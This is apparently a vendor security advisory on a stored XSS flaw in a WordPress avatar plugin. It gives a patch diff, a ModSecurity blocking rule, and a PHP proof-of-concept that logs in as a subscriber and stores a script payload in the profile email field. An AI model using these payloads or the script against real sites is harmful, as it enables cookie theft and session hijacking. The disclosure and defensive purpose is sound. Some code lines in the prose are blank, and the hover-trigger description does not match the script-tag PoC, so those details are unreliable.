Published : December 2, 2026

CVE-2026-136893: Author Avatars List/Block <= 2.2.1 Authenticated (Subscriber+) Stored Cross-Site Scripting via User Email PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.2.1
Patched Version 2.2.2
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136893: This is a stored cross-site scripting (XSS) vulnerability in the Author Avatars List/Block WordPress plugin, affecting versions up to and including 2.2.1. The flaw resides in the show_email handling within the ShowAvatarShortcode class, allowing authenticated users with subscriber-level access or above to inject arbitrary JavaScript into the user_email field, which executes when a page containing the [show_avatar] shortcode with show_email=”1″ is viewed and the mailto link is hovered. The CVSS score is 6.4 (Medium), reflecting the need for specific shortcode configuration and user interaction.

Root Cause: The vulnerability exists in the file author-avatars/lib/ShowAvatarShortcode.class.php, specifically in the case ‘show_email’ block around line 262. The code retrieves the user’s email via get_the_author_meta(‘user_email’, $id) and directly concatenates it into an HTML anchor tag without proper escaping: $email = “

“. This lack of output escaping allows an attacker to supply a malicious email address containing HTML/JavaScript, which is stored in the user’s profile and later rendered unescaped.

Exploitation: An authenticated attacker with subscriber-level access can set their user_email to a payload such as `”>alert(document.cookie)` or an event handler like `” onmouseover=”alert(1)`. For the payload to execute, an administrator or editor must publish a page or post containing the [show_avatar id=”” show_email=”1″] shortcode (or the equivalent Gutenberg block). When any user visits that page and hovers over the generated mailto link, the injected script runs. On default installations without such shortcode configuration, the attack requires custom-level access or above to inject the payload and have it triggered.

Patch Analysis: The patch (version 2.2.2) replaces the unescaped concatenation with proper escaping functions. The vulnerable line is changed to: $email = ‘

‘. Here, esc_url() sanitizes the mailto link, preventing javascript: or other dangerous schemes, while esc_html() encodes any HTML special characters in the displayed email text. This effectively neutralizes XSS payloads by ensuring the output is safe for HTML context.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the affected page, leading to potential session hijacking, theft of sensitive cookies, redirection to malicious sites, or defacement. Since the payload is stored in the user’s email field, it persists until removed. The requirement for a specific shortcode configuration and user interaction (hover) limits the attack surface, but the vulnerability still poses a significant risk in multi-author WordPress sites where such shortcodes are used.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/author-avatars/author-avatars.php
+++ b/author-avatars/author-avatars.php
@@ -3,7 +3,7 @@
 Plugin Name: Author Avatars List/Block
 Plugin URI: http://authoravatars.wordpress.com/
 Description: Display lists of user avatars using <a href="widgets.php">widgets</a> ,<a href="https://authoravatars.wordpress.com/documentation/">shortcodes</a> and Gutenberg blocks.
-Version: 2.2.1
+Version: 2.2.2
 Author: Paul Bearne
 Text Domain: author-avatars
 License: GPLv2 or later
@@ -15,7 +15,7 @@
 }

 // The current version of the author avatars plugin. Needs to be updated every time we do a version step.
-define( 'AUTHOR_AVATARS_VERSION', '2.2.1' );
+define( 'AUTHOR_AVATARS_VERSION', '2.2.2' );

 // List of all version that need an upgrade, used during update check. (Append new version to the end and write an update__10_11 method on AuthorAvatars class if needed)
 define( 'AUTHOR_AVATARS_VERSION_HISTORY', serialize( array(
--- a/author-avatars/lib/ShowAvatarShortcode.class.php
+++ b/author-avatars/lib/ShowAvatarShortcode.class.php
@@ -262,7 +262,7 @@

 						case 'show_email':
 							$userEmail = get_the_author_meta( 'user_email', $id );
-							$email     = "<div class='email'><a href='mailto:" . $userEmail . "''>" . $userEmail . "</a></div>";
+							$email     = '<div class="email"><a href="' . esc_url( 'mailto:' . $userEmail ) . '">' . esc_html( $userEmail ) . '</a></div>';
 							if ( empty( $email ) ) {
 								$extraClass .= 'email-missing';
 							} else {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136893
# This rule blocks XSS attempts in the user_email parameter during profile updates.
# It matches the WordPress profile update endpoint and inspects the email parameter for script tags or event handlers.
SecRule REQUEST_URI "@streq /wp-admin/profile.php" 
  "id:2026136893,phase:2,deny,status:403,chain,msg:'CVE-2026-136893: Stored XSS via user_email in Author Avatars plugin',severity:'CRITICAL',tag:'CVE-2026-136893'"
  SecRule ARGS_POST:email "@rx <script|onmouseover|onerror|onload|javascript:" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136893 - Author Avatars List/Block <= 2.2.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Email

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber password
$attacker_id = 2; // User ID of the subscriber (adjust as needed)

// Step 1: Authenticate as subscriber and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if ($response === false) {
    die('Login failed: ' . curl_error($ch));
}
curl_close($ch);

// Step 2: Update profile with XSS payload in email field
$payload = '"><script>alert(document.cookie)</script>';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'update',
    'user_id' => $attacker_id,
    'email' => $payload,
    'submit' => 'Update Profile'
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
    die('Profile update failed: ' . curl_error($ch));
}
curl_close($ch);

// Step 3: Trigger XSS by visiting a page with the shortcode (requires admin/editor to have created it)
// Example: http://example.com/test-page/ with [show_avatar id="2" show_email="1"]
$trigger_url = $target_url . '/test-page/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $trigger_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
    die('Trigger page fetch failed: ' . curl_error($ch));
}
curl_close($ch);

// Check if payload appears unescaped in the response
echo "[+] XSS payload injected. Visit $trigger_url and hover over the email link to execute.n";
if (strpos($response, $payload) !== false) {
    echo "[+] Payload found unescaped in page source.n";
} else {
    echo "[-] Payload not found or escaped.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.